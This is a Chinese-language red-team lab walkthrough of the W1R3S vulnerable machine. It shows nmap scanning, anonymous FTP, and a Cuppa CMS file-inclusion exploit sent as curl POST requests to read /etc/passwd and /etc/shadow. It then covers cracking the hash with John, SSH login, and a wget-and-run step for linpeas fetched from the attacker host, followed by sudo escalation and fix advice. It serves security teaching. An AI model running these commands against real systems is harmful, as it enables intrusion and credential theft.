No.5-红队渗透项目:w1r3s-editable
字数 1426 2025-08-19 12:42:24
红队渗透项目:w1r3s-editable 渗透测试教学文档
项目概述
本教学文档详细记录了针对w1r3s-editable靶机的完整渗透测试过程,涵盖信息收集、漏洞利用、权限提升等关键环节,适合网络安全学习者参考。
环境准备
- 攻击机:Kali Linux (VMware虚拟机环境)
- 目标机:IP地址为192.168.111.137
- 工具集:nmap、curl、John the Ripper、linpeas.sh等
一、信息收集阶段
1. 网络扫描
使用nmap进行主机发现和端口扫描:
nmap -sP 192.168.111.0/24 # 主机发现
nmap 192.168.111.137 -p- -sS -sV -A -T5 # 详细扫描
扫描结果:
- 21/tcp: FTP (允许匿名登录)
- 22/tcp: SSH
- 80/tcp: HTTP
- 3306/tcp: MySQL
2. FTP服务枚举
匿名登录FTP服务:
ftp 192.168.111.137
用户名: Anonymous
密码: Anonymous
在content目录下发现三个txt文件:
- 01.txt
- 02.txt (包含Base64编码字符串:
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==) - 03.txt
Base64解码后无有效信息,FTP途径未能获取关键信息。
二、Web渗透阶段
1. 目录枚举
发现Cuppa CMS管理后台路径:
http://192.168.111.137/administrator/installation/
2. 漏洞利用
漏洞信息:
- Cuppa CMS存在文件包含漏洞(Exploit-DB ID: 25971)
- 漏洞路径:
/administrator/alerts/alertConfigField.php - 参数:
urlConfig
利用方法:
由于直接GET请求无响应,需使用POST方式:
curl --data-urlencode urlConfig=etc/passwd http://192.168.111.137/administrator/alerts/alertConfigField.php
成功读取/etc/passwd文件,获取用户信息:
w1r3s:x:1000:1000:W1R3S,,,:/home/w1r3s:/bin/bash
3. 密码获取
读取shadow文件:
curl -s --data-urlencode urlConfig=etc/shadow http://192.168.111.137/administrator/alerts/alertConfigField.php
提取w1r3s用户的密码哈希:
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
使用John the Ripper破解密码:
- 将哈希保存到2.txt
- 运行破解:
john 2.txt
破解结果:密码为computer
三、权限提升阶段
1. SSH登录
使用获取的凭据登录:
ssh w1r3s@192.168.111.137
密码: computer
2. 本地信息收集
使用linpeas.sh进行本地枚举:
- 在攻击机启动HTTP服务:
python -m SimpleHTTPServer 8081
- 目标机下载并运行:
wget http://192.168.111.128:8081/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
3. Sudo提权
检查sudo权限:
sudo -l
输出:
User w1r3s may run the following commands on W1R3S:
(ALL : ALL) ALL
表示w1r3s用户拥有所有sudo权限,可直接提权:
sudo su
4. 获取flag
进入root目录查看flag:
cd /root/
ls -la
四、漏洞分析
文件包含漏洞根源
漏洞文件:/administrator/alerts/alertConfigField.php
问题代码:
include_once(realpath(__DIR__.'/../classes/Cuppa.php'));
漏洞原因:
- 使用
include_once()函数包含用户可控参数 realpath()和__DIR__组合可能允许目录遍历- 缺乏对
urlConfig参数的严格过滤
修复建议
- 避免直接包含用户输入
- 使用白名单限制可包含的文件
- 移除不必要的目录遍历功能
- 对输入进行严格过滤和验证
总结
本次渗透测试完整流程:
- 通过nmap扫描发现开放服务
- 利用FTP匿名登录收集信息
- 发现Cuppa CMS并利用文件包含漏洞
- 读取系统文件获取用户凭据
- 破解密码后通过SSH登录
- 利用sudo配置不当直接提权
关键点:
- 文件包含漏洞的POST请求利用方式
- 从shadow文件提取密码哈希的技巧
- sudo配置审计的重要性
- 自动化工具(linpeas)在权限提升中的应用
扩展思考
- 如果文件包含漏洞无法直接利用,还有哪些可能的攻击路径?
- 如何防御此类文件包含漏洞?
- 在sudo配置中,如何合理分配权限而不造成安全隐患?